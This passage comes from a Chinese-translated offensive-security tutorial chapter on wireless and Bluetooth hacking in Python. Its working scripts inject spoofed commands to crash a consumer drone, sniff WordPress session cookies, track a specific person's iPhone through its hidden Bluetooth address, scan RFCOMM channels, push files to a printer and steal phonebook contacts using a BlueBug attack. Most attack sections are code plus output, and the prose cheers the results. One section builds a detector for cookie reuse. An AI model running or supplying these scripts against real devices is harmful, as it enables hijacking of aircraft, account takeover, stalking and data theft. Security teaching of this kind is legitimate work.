ctrl=lPkt.ctrl
nPkt=LLC(dsap=dsap,ssap=ssap,ctrl=ctrl)
return nPkt
def dupIP(pkt):
iPkt=pkt.getlayer(IP)
version=iPkt.version
tos=iPkt.tos
ID=iPkt.id
flags=iPkt.flags
ttl=iPkt.ttl
proto=iPkt.proto
src=iPkt.src
dst=iPkt.dst
options=iPkt.options
nPkt=IP(version=version,id=ID,tos=tos,flags=flags,ttl=ttl,proto=proto,src=src,dst=dst,options=options)
return nPkt
def dupUDP(pkt):
uPkt=pkt.getlayer(UDP)
sport=uPkt.sport
dport=uPkt.dport
nPkt=UDP(sport=sport,dport=dport)
return nPkt
```
接下來我們將添加一些新的方法到我們`interceptThread`類中,叫`injectCmd()`,這個函數復制當前包中的沒一層,然后添加新的指令到UDP層。在創建新的數據包之后,它通過`sendp()`函數發送命令。
```
def injectCmd(self, cmd):
radio = dup.dupRadio(self.curPkt)
dot11 = dup.dupDot11(self.curPkt)
snap = dup.dupSNAP(self.curPkt)
llc = dup.dupLLC(self.curPkt)
ip = dup.dupIP(self.curPkt)
udp = dup.dupUDP(self.curPkt)
raw = Raw(load=cmd)
injectPkt = radio / dot11 / llc / snap / ip / udp / raw
sendp(injectPkt)
```
緊急降落是控制無人機的一個重要的指令。者控制無人機停止引擎隨時掉到地上,為了執行這個命令,我們將使用當前的序列號并跳100。接下來,我們發送命令`AT*COMWDG=$SEQ\r`,這個命令重置通訊的序列號,無人機將忽略先前的序命令(比如那些被合法的iPhone發布的命令)。最后,我們發送我們的緊急迫降命令`AT*REF=$SEQ, 290717952\r`。
```
EMER = "290717952"
def emergencyland(self):
spoofSeq = self.seq + 100
watch = 'AT*COMWDG=%i\r'%spoofSeq
toCmd = 'AT*REF=%i,%s\r'% (spoofSeq + 1, EMER)
self.injectCmd(watch)
self.injectCmd(toCmd)
```
# 最終的攻擊,緊急迫降無人機
讓我們整合我們的代碼并進行最后的攻擊。首先,我們確保保存生成我們的數據包腳本并導入`dup.py`,接下來,我們檢查我們的主要功能,開始攔截監聽流量發現無人機,并提示我們發送緊急迫降指令。不到70行的代碼,我們已經成功的攔截的無人機,好極了!感覺對我們的活動有點內疚。下一節中,我們將著重討論如何識別在加密無線網絡上的惡意活動。
```
# coding=UTF-8
import threading
import dup
from scapy.all import *
conf.iface = 'mon0'
NAVPORT = 5556
LAND = '290717696'
EMER = '290717952'
TAKEOFF = '290718208'
class interceptThread(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.curPkt = None
self.seq = 0
self.foundUAV = False
def run(self):
sniff(prn=self.interceptPkt, filter='udp port 5556')
def interceptPkt(self, pkt):
if self.foundUAV == False:
print('[*] UAV Found.')
self.foundUAV = True
self.curPkt = pkt
raw = pkt.sprintf('%Raw.load%')
try:
self.seq = int(raw.split(',')[0].split('=')[-1]) + 5
except:
self.seq = 0
EMER = "290717952"
def emergencyland(self):
spoofSeq = self.seq + 100
watch = 'AT*COMWDG=%i\r'%spoofSeq
toCmd = 'AT*REF=%i,%s\r'% (spoofSeq + 1, EMER)
self.injectCmd(watch)
self.injectCmd(toCmd)
def injectCmd(self, cmd):
radio = dup.dupRadio(self.curPkt)
dot11 = dup.dupDot11(self.curPkt)
snap = dup.dupSNAP(self.curPkt)
llc = dup.dupLLC(self.curPkt)
ip = dup.dupIP(self.curPkt)
udp = dup.dupUDP(self.curPkt)
raw = Raw(load=cmd)
injectPkt = radio / dot11 / llc / snap / ip / udp / raw
sendp(injectPkt)
def takeoff(self):
spoofSeq = self.seq + 100
watch = 'AT*COMWDG=%i\r'%spoofSeq
toCmd = 'AT*REF=%i,%s\r'% (spoofSeq + 1, TAKEOFF)
self.injectCmd(watch)
self.injectCmd(toCmd)
def main():
uavIntercept = interceptThread()
uavIntercept.start()
print('[*] Listening for UAV Traffic. Please WAIT...')
while uavIntercept.foundUAV == False:
pass
while True:
tmp = raw_input('[-] Press ENTER to Emergency Land UAV.')
uavIntercept.emergencyland()
if __name__ == '__main__':
main()
```
## 檢測Firesheep
2010年,Eric Butler開發了一個改變游戲規則的工具,Firesheep。這個工具提供了簡單的兩個按鈕接口用來遠程竊取不知情用戶的Facebook,Google,Twitter等社交網站上的賬戶。Eric的Firesheep工具為了得到站點的HTTP Cookies被動的在無線網卡上監聽。如果一個用戶連接到不安全的網站也沒有使用任何服務器控件如HTTPS來保護他的會話,那么攻擊者能使用Firesheep攔截cookies并被重用。
Eric提供了一個簡單的界面用來建立處理特殊的具體的cookie來捕獲重用。注意,下面的對WordPress的處理包含三個函數。首先`matchPacket()`通過查看正則表達式`wordpress_[0-9a-fA-F]{32}`來確認cookie,如果函數匹配到了占則表達式,那么`processPacket()`抽取WordPress的`sessionID` cookie,最后`identifyUser()`函數解析登陸到WordPress的用戶名,黑客使用這些信息來登陸用戶的WordPress。
```
// Authors:
// Eric Butler <eric@codebutler.com>
register({
name: 'Wordpress',
matchPacket: function (packet) {
for (varcookieName in packet.cookies) {
if (cookieName.match0 {
return true;
}
}
},
processPacket: function () {
this.siteUrl += 'wp-admin/';
for (varcookieName in this.firstPacket.cookies) {
if (cookieName.match(/^wordpress_[0-9a-fA-F]{32}$/)) {
this.sessionId = this.firstPacket.cookies[cookieName];
break;
}
}
},
identifyUser: function () {
var resp = this.httpGet(this.siteUrl);
this.userName = resp.body.querySelectorAll('#user_info a')[0].textContent;
this.siteName = 'Wordpress (' + this.firstPacket.host + ')';
}
});
```
## 理解WordPress的Session Cookie
在一個實際的數據包中,這些cookie看起來像下面那些,這里的受害者運行 Safari瀏覽器連接WordPress在`www.violentpython.org`。注意,字符串以`wordpress_e3b`開始包含了受害者的`sessionID` cookie和用戶名。
```
GET /wordpress/wp-admin/HTTP/1.1
Host: www.violentpython.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2)
AppleWebKit/534.52.7 (KHTML, like Gecko) Version/5.1.2 Safari/534.52.7
Accept: */*
Referer: http://www.violentpython.org/wordpress/wp-admin/
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Cookie: wordpress_e3bd8b33fb645122b50046ecbfbeef97=victim%7C1323803979
%7C889eb4e57a3d68265f26b166020f161b; wordpress_logged_in_e3bd8b33fb645
122b50046ecbfbeef97=victim%7C1323803979%7C3255ef169aa649f771587fd128ef
4f57;
wordpress_test_cookie=WP+Cookie+check
Connection: keep-alive
```
在下圖中,一個攻擊者在火狐上運行Firesheep工具,識別出相同的字符串發送到未加密的無線網絡上。然后他用抽取的憑證登陸到 `www.violentpython.og` 上。注意,HTTP GET請求和我們原來的請求一樣,有同樣的cookie,但是源自不同的瀏覽器。雖然他不是描述這里,但是值得注意的是請求來自不同的IP地址,攻擊者不能和受害者使用相同的機器。
```
GET /wordpress/wp-admin/ HTTP/1.1
Host: www.violentpython.org
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.7; en-US;
rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24
Accept: text/html,application/xhtml+xml,application/
xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: wordpress_e3bd8b33fb645122b50046ecbfbeef97=victim%7C1323803979
%7C889eb4e57a3d68265f26b166020f161b; wordpress_logged_in_e3bd8b33fb645
122b50046ecbfbeef97=victim%7C1323803979%7C3255ef169aa649f771587fd128ef4f57; wordpress_test_cookie=WP+Cookie+check
```
## 集結羊群---捕獲WordPress cookie重用
讓我們編寫一個快速的Python腳本來解析WordPress包含session cookie的HTTP會話。因為這種攻擊發生在未加密的會話,我們將過濾通過TCP的80端口的HTTP協議。當我們看到正則表達式匹配WordPress cookie,我們可以打印cookie內容到屏幕上,我們只想看到客戶的流量,我們不想打印任何來自客戶的包含字符串`"set"`的cookie。
```
import re
from scapy.all import *
def fireCatcher(pkt):
raw = pkt.sprintf('%Raw.load%')
r = re.findall('wordpress_[0-9a-fA-F]{32}', raw)
if r and 'Set' not in raw:
print(pkt.getlayer(IP).src+ ">"+pkt.getlayer(IP).dst+" Cookie:"+r[0])
conf.iface = "mon0"
sniff(filter="tcp port 80",prn=fireCatcher)
```
運行這個腳本,我們很快識別一些潛在的受害者通過未加密的無線網絡連接用標準的HTTP會話連接到WordPress上。當我打印特定的會話cookie到屏幕上時,我么注意到攻擊者`192.168.1.4`重用了來自`192.168.1.3`的受害者的`sessionID` cookie。
```
defender# python fireCatcher.py
192.168.1.3>173.255.226.98
Cookie:wordpress_ e3bd8b33fb645122b50046ecbfbeef97
192.168.1.3>173.255.226.98
Cookie:wordpress_e3bd8b33fb645122b50046ecbfbeef97
192.168.1.4>173.255.226.98
```
為了檢測攻擊者使用Firesheep,我們必須看看是否一個攻擊者在不同的IP上重用cookie值。為此,我們必須修改我們先前的腳本。現在我們要建立一個Hash表通過`sessionID`索引cookie。如果我們看到一個WordPress會話,我們可以將值插入到Hash表并存儲IP地址。如果我們再一次看到,我們可以比較檢驗它的值是否和Hash表相沖突。當我們檢測到沖突時,我們現在有相同的cookie關聯了兩個相同的IP地址。在這一點上,我們可以檢測到某人試圖偷取WorPress的會話并打印在屏幕上。
```
# coding=UTF-8
__author__ = 'dj'
import optparse
from scapy.all import *
import re
cookieTable = {}
def fireCatcher(pkt):
raw = pkt.sprintf('%Raw.load%')
r = re.findall('wordpress_[0-9a-fA-F]{32}', raw)
if r and 'Set' not in raw:
if r[0] not in cookieTable.keys():
cookieTable[r[0]] = pkt.getlayer(IP).src
print('[+] Detected and indexed cookie.')
elif cookieTable[r[0]] != pkt.getlayer(IP).src:
print('[*] Detected Conflict for ' + r[0])
print('Victim = ' + cookieTable[r[0]])
print('Attacker = ' + pkt.getlayer(IP).src)
def main():
parser = optparse.OptionParser("usage %prog -i<interface>")
parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on')
(options, args) = parser.parse_args()
if options.interface == None:
print parser.usage
exit(0)
else:
try:
conf.iface = options.interface
sniff(filter='tcp port 80', prn=fireCatcher)
except KeyboardInterrupt:
exit(0)
if __name__ == '__main__':
main()
```
運行我們的腳本,我們可以確認一個重用來自受害者的WordPress `sessionID` cookie的黑客正在嘗試盜取某人的會話。在這一點上我們已經掌握了用Python嗅探802.11的無線網絡。讓我們在下一節探究如何用Python攻擊藍牙設備。
```
defender# python fireCatcher.py
[+] Detected and indexed cookie.
[*] Detected Conflict for:
wordpress_ e3bd8b33fb645122b50046ecbfbeef97
Victim = 192.168.1.3
Attacker = 192.168.1.4
```
## 用藍牙和Python跟蹤潛入
研究生的研究有時候是一個艱巨的任務。一個巨大任務的研究需要團隊的合作,我發現知道團隊人員的位置非常有用。我的研究生的研究圍繞著藍牙協議,它似乎也是保持我團隊成員位置的很好的方法。
為了和藍牙交互,我們要用到`PyBluez`模塊。這個模塊擴展了`Bluez`庫提供的利用藍牙資源的功能。注意,導入我們的藍牙庫后,我們可以簡單的利用函數`discover_devices()`來返回附近發現的藍牙設備的MAC地址數組。接下來,我們可以換算MAC地址為友好的字符串設備名通過`lookup_name()`函數。最后我們能打印這些收集設備。
```
from bluetooth import *
devList = discover_devices()
for device in devList:
name = str(lookup_name(device))
print("[+] Found Bluetooth Device " + str(name))
print("[+] MAC address: "+str(device))
```
讓我們繼續探究。為此,我們我們將這段代碼封裝為函數`findDevs`,并打印我們發現的新設備。我們可以用一個數組`alreadyFound`來保存已經發現的設備,對于每個發現的設備我們將檢查是否已經存在與數組中。如果不存在我們將打印設備名和地址并添加到數組中,在我們的主要的代碼中,我們可以創建一個無限循環運行`findDevs()`然后睡眠5秒。
```
import time
from bluetooth import *
alreadyFound = []
def findDevs():
foundDevs = discover_devices(lookup_names=True)
for (addr, name) in foundDevs:
if addr not in alreadyFound:
print('[*] Found Bluetooth Device: ' + str(name))
print('[+] MAC address: ' + str(addr))
alreadyFound.append(addr)
while True:
findDevs()
time.sleep(5)
```
現在我們運行我們的腳本看看是否能發現附近任何的藍牙設備。注意,我們發現了一個打印機和一個iPhone。打印輸出顯示友好的名稱并跟著MAC地址。
```
attacker# python btScan.py
[-] Scanning for Bluetooth Devices.
[*] Found Bluetooth Device: Photosmart 8000 series
[+] MAC address: 00:16:38:DE:AD:11
[-] Scanning for Bluetooth Devices.
[-] Scanning for Bluetooth Devices.
[*] Found Bluetooth Device: TJ iPhone
[+] MAC address: D0:23:DB:DE:AD:02
```
我們可以寫一個簡單的函數來提醒我們這些特定的設備在我們附近。請注意,我們將改變我們的原始函數增加參數`tgtName`,搜索我們的發現列表發現特定設備。
```
import time
from bluetooth import *
alreadyFound = []
def findDevs():
foundDevs = discover_devices(lookup_names=True)
for (addr, name) in foundDevs:
if addr not in alreadyFound:
print('[*] Found Bluetooth Device: ' + str(name))
print('[+] MAC address: ' + str(addr))
alreadyFound.append(addr)
while True:
findDevs()
time.sleep(5)
```
在這一點上,我們有一個改裝的工具提醒我們,有一個特定的設備,比如說iPhone,進來了。
```
attacker# python btFind.py
[-] Scanning for Bluetooth Device: TJ iPhone
[*] Found Target Device TJ iPhone
[+] Time is: 2012-06-24 18:05:49.560055
[+] With MAC Address: D0:23:DB:DE:AD:02
[+] Time is: 2012-06-24 18:06:05.829156
```
## 攔截無線流量找到藍牙地址
然而,這只是解決了一般的問題,我們的腳本只能發現設置為可見的藍牙設備。一個隱藏的藍牙設備我們怎么發現它?讓我們考慮一下隱藏模式下iPhone藍牙設備的欺騙性。加1到802.11無線設備的MAC地址來確認iPhone的藍牙設備的MAC地址。作為802.11無線設備電臺的服務沒有在第二層控制保護MAC地址,我們可以簡單的嗅探它并使用這些信息計算南藍牙設備的MAC地址。
讓我們設置我們的無線設備MAC地址嗅探器。注意我們過濾MAC地址只包含MAC八個字節的前三個字節。前三個字節作為組織唯一標識符(OUI),標識特定的制造商,你可以在 http://standards.ieee.org/cgi-bin/ouisearch 網站進一步探討OUI數據庫。比如說我們使用OUI `d0:23:db`(iPhone 4S的OUI),如果你搜索OUI數據庫,你能確認該設備屬于iPhone。
```
D0-23-DB (hex) Apple, Inc.
D023DB (base 16) Apple, Inc.
1 Infinite Loop
Cupertino CA 95014
UNITED STATES
```
我們的Python腳本監聽802.11數據幀匹配iPhone 4S的MAC地址的前三個字節。如果檢測到,它將打印結果在屏幕上并存儲802.11的MAC地址。
```
from scapy.all import *
def wifiPrint(pkt):
iPhone_OUI = 'd0:23:db'
if pkt.haslayer(Dot11):
wifiMAC = pkt.getlayer(Dot11).addr2
if iPhone_OUI == wifiMAC[:8]:
print('[*] Detected iPhone MAC: ' + wifiMAC)
conf.iface = 'mon0'
sniff(prn=wifiPrint)
```
現在我們已經確認了iPhone的802.11無線設備的MAC地址,我們需要構建藍牙設備的無線設備。我們可以計算藍牙MAC地址通過802.11無線地址加1。
```
def retBtAddr(addr):
btAddr=str(hex(int(addr.replace(':', ''), 16) + 1))[2:]
btAddr=btAddr[0:2]+":"+btAddr[2:4]+":"+btAddr[4:6]+":" + btAddr[6:8]+":"+btAddr[8:10]+":"+btAddr[10:12]
return btAddr
```
有了MAC地址,攻擊者就可以執行設備名查詢這個設備是否真實的存在。即時在隱藏模式下,藍牙設備任然對名字查詢有響應。如果藍牙設備響應,我們可以打印設備名和MAC地址子屏幕上。有一點需要注意,iPhone設備采用的省電模式,在藍牙不匹配或者沒使用時禁用藍牙設備。然而,當iPhone配上耳機或者車載免提時在隱藏模式下還是會響應設備名查詢的。如果你測試時,腳本似乎不能正確的工作時,試著把你的iPhone和其他設備連在一起。
```
def checkBluetooth(btAddr):
btName = lookup_name(btAddr)
if btName:
print('[+] Detected Bluetooth Device: ' + btName)
else:
print('[-] Failed to Detect Bluetooth Device.')
```
當我們把所有的代碼放在一起時,我們有能力識別iPhone設備隱藏的藍牙。
```
# coding=UTF-8
from scapy.all import *
from bluetooth import *
def retBtAddr(addr):
btAddr=str(hex(int(addr.replace(':', ''), 16) + 1))[2:]
btAddr=btAddr[0:2]+":"+btAddr[2:4]+":"+btAddr[4:6]+":" + btAddr[6:8]+":"+btAddr[8:10]+":"+btAddr[10:12]
return btAddr
def checkBluetooth(btAddr):
btName = lookup_name(btAddr)
if btName:
print('[+] Detected Bluetooth Device: ' + btName)
else:
print('[-] Failed to Detect Bluetooth Device.')
def wifiPrint(pkt):
iPhone_OUI = 'd0:23:db'
if pkt.haslayer(Dot11):
wifiMAC = pkt.getlayer(Dot11).addr2
if iPhone_OUI == wifiMAC[:8]:
print('[*] Detected iPhone MAC: ' + wifiMAC)
btAddr = retBtAddr(wifiMAC)
print('[+] Testing Bluetooth MAC: ' + btAddr)
checkBluetooth(btAddr)
conf.iface = 'mon0'
sniff(prn=wifiPrint)
```
當我們運行我們的腳本時,我們可以看到,它識別了一個iPhone的802.11無線設備的MAC地址。和它的無線設備。在下一節中,我們將挖掘更深的設備信息,通過掃描各種有關藍牙的協議和端口。
```
attacker# python find-my-iphone.py
[*] Detected iPhone MAC: d0:23:db:de:ad:01
[+] Testing Bluetooth MAC: d0:23:db:de:ad:02
[+] Detected Bluetooth Device: TJ’s iPhone
```
## 掃描藍牙的RFCOMM信道
2004年,Herfurt和Laurie展示了一個藍牙漏洞,他們成為BlueBug。這個漏洞針對藍牙的RFCOMM傳輸協議。RFCOMM通過藍牙的L2CAP協議模擬RS232串口通訊。本質上,這將創建一個藍牙連接到一個設備,模擬一個簡單的串行電纜,允許用戶發起電話呼叫,發送短信,閱讀通訊錄列表轉接電話或者通過藍牙連接到互聯網。
RFCOMM提供驗證和加密連接的能力。制造商偶爾忽略此功能允許未經認證連接到此設備。Herfurt和Laurie編寫了一個工具能連接到未認證的設備信道發送命令控制或者下載設備上的內容。在這節中,我們將編寫一個掃瞄器確認未認證的的RFCOMM信道。
看看下面的代碼,RFCOMM連接和標準的TCP套接字連接非常的相似。為了連接到一個RFCOMM端口,我們將生成一個RFCOMM類型的藍牙套接字。接下來我們通過`connect()`函數,包含目標設備的MAC地址和端口的一個元組。如果我們成功了,我們會知道RFRCOMM信道開放并正在監聽。如果函數拋出異常,我們知道我們不能連接到這個端口,我們將重復嘗試30個可能的RFCOMM端口進行連接。
```
from bluetooth import *
def rfcommCon(addr, port):
sock = BluetoothSocket(RFCOMM)
try:
sock.connect((addr, port))
print('[+] RFCOMM Port ' + str(port) + ' open')
sock.close()
except Exception as e:
print('[-] RFCOMM Port ' + str(port) + ' closed')
for port in range(1, 30):
rfcommCon('00:16:38:DE:AD:11', port)
```
當我們運行我們的腳本針對附近的打印機,我們看到開放了五個RFCOMM端口。然而,我們沒有真正了解這些端口提供了的什么服務。為了了解更多關于這些服務,我們需要使用藍牙服務發現功能。
```
attacker# python rfcommScan.py
[+] RFCOMM Port 1 open
[+] RFCOMM Port 2 open
[+] RFCOMM Port 3 open
[+] RFCOMM Port 4 open
[+] RFCOMM Port 5 open
[-] RFCOMM Port 6 closed
[-] RFCOMM Port 7 closed
<..SNIPPED...>
```
## 使用藍牙服務發現協議
藍牙服務發現協議(SDP)提供了一種簡單的方法來來描述和枚舉設備提供的藍牙功能和服務。瀏覽SDP文件描述了服務在每一個獨一無二的藍牙協議和端口上運行。使用函數`find_service()`返回了一個記錄數組,這些記錄包含主機,名稱,描述,供應商,協議,端口,服務類,介紹和每個目標藍牙每一個可用服務的ID,就我們的目的而言,我們的腳本只打印服務名稱,協議和端口號。
```
from bluetooth import *
def sdpBrowse(addr):
services = find_service(address=addr)
for service in services:
name = service['name']
proto = service['protocol']
port = str(service['port'])
print('[+] Found ' + str(name)+' on '+ str(proto) + ':'+port)
sdpBrowse('00:16:38:DE:AD:11')
```
當我們運行我們的腳本針對我們的打印機藍牙,我們看到RFCOMM端口2提供OBEX對象推送功能。對象交換服務(OBEX)讓我們有類似與FTP匿名登陸的的能力,我們可以匿名的上傳和下載文件從系統里面,這可能是打印機上值得進一步研究的東西。
```
attacker# python sdpScan.py
[+] Found Serial Port on RFCOMM:1
[+] Found OBEX Object Push on RFCOMM:2
[+] Found Basic Imaging on RFCOMM:3
[+] Found Basic Printing on RFCOMM:4
[+] Found Hardcopy Cable Replacement on L2CAP:8193
```
## 用Python ObexFTP接管打印機
讓我們繼續對打印機進行攻擊。因為它在RFCOMM的端口2上提供了OBEX服務,讓我們嘗試推送一個照片上去。我們使用`obexftp`連接打印機,接著我們從攻擊者的主機上發送一個圖片給它。當文件傳輸成功,我們的打印機開始為我們打印圖像。這太令人興奮了!但不一定是危險的,所以我們將繼續在下一節中使用這種方法對提供藍牙的手機實施更致命的攻擊。
```
import obexftp
try:
btPrinter = obexftp.client(obexftp.BLUETOOTH)
btPrinter.connect('00:16:38:DE:AD:11', 2)
btPrinter.put_file('/tmp/ninja.jpg')
print('[+] Printed Ninja Image.')
except:
print('[-] Failed to print Ninja Image.')
```
## 用Python BlueBug手機
在本節中,我們將重現一個最近的手機藍牙攻擊向量。最初被稱為BlueBug攻擊,該攻擊使用未認證的和不安全的連接手機偷取手機的詳細信息或者直接向手機發送指令。這個攻擊使用RFCOMM信道發送AT命令作為遠程控制設備的工具。者允許攻擊者讀寫短信,收集個人信息或者撥打號碼。
例如,攻擊者可以控制一個諾基亞6310i通過RFCOMM的17信道。在以前這這手機的固件版本,RFCOMM信道17不需要身份驗證便可連接,攻擊者可以簡單的掃描RFCOMM打開的信道發現17信道,連接并且發送AT命令下載電話號。
讓我們用Python來重現這次攻擊。再一次,我們需要導入Python的`Bluez`API模塊。確認我們的目標地址和脆弱的RFCOMM端口之后,我們創建一個到開放,未經驗證,未加密的連接。使用這個新創建的連接,我們發送一個命令,例如`"AT+CPBR=1"`來下載通訊錄的第一個號碼,重復次命令偷取全部的通訊錄。
```
import bluetooth
tgtPhone = 'AA:BB:CC:DD:EE:FF'
port = 17
phoneSock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
phoneSock.connect((tgtPhone, port))
for contact in range(1, 5):
atCmd = 'AT+CPBR=' + str(contact) + '\n'
phoneSock.send(atCmd)
result = phoneSock.recv(1024)
print '[+] ' + str(contact) + ': ' + result
phoneSock.close()
```
針對脆弱的手機運行我們的腳本,我們可以從受害者手機上下載五個聯系人的電話號碼。不到五十行的代碼,我們可以通過藍牙遠程竊取通訊錄電話號碼。棒極了!
```
attacker# python bluebug.py
[+] 1: +CPBR: 1,"555-1234",,"Joe Senz"
[+] 2: +CPBR: 2,"555-9999",,"Jason Brown"
[+] 3: +CPBR: 3,"555-7337",,"Glen Godwin"
[+] 4: +CPBR: 4,"555-1111",,"Semion Mogilevich"
[+] 5: +CPBR: 5,"555-8080",,"Robert Fisher
```
## 本章總結
恭喜你!在這一章我們已經編寫了很多工具,我們可以用它們來設計無線網絡和藍牙設備。我們從通過無線網絡截獲私人信息開始。接下來,我們研究如何分析802.11無線流量,為了發現首選網絡和隱藏的接入點。然后,我們緊急迫降了一個無人機并建立了一個工具識別無線網絡黑客工具。對于藍牙協議,我們我們建立了一個工具來查找藍牙設備,掃描并滲透攻擊了打印機和手機。
希望你喜歡這一章。我喜歡編寫這些。下一章,我們將討論在開源的網絡社交媒體上使用Python進行偵查。